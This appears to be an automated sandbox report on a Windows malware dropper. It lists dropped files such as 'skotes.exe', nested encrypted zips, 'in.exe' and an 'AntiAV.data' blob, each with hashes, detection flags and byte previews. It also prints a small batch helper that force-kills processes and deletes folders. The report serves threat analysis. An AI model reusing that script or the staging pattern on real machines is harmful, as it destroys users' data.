SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_faghfcvq.5p2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_irr0lvli.vsk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkw3es3k.r54.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pp4ljwfr.uuf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qak23szf.04q.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r03ndxbc.kgh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zrwzu02t.zas.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2976768
Entropy (8bit):	6.604000270845258
Encrypted:	false
SSDEEP:	49152:nZNt60MWKf4ZmSXyOQqcxSdj04drGcnaj0GpmeogTOpGg:nZNt66Kf4Zm4yOraSd44ZGEaoGpkzGg
MD5:	61CB850896F4B6AAC18C72E82EB9AC90
SHA1:	C1FCDD242B13E4C5AD99F7E76DA886288622B6DC
SHA-256:	C2BEE3616CF5C0F19ECC5738EE39A8C3D0D0523C2178177B86563D5A3D758D0F
SHA-512:	D156751D3D9E353A116E55CBC9A9E87DA03A4D29EFE529344CE996324EC361F0472724BB8162C2BE7EA6F291AAF2F7CBBC8659672777E182E40283FA661A2043
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................@1.......-...@.................................W...k.............................0.............................L.0..................................................... . ............................@....rsrc...............................@....idata ............................@...qnusxmvo.P......P.................@...fqlahttk......1......F-.............@....taggant.0....1.."...J-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
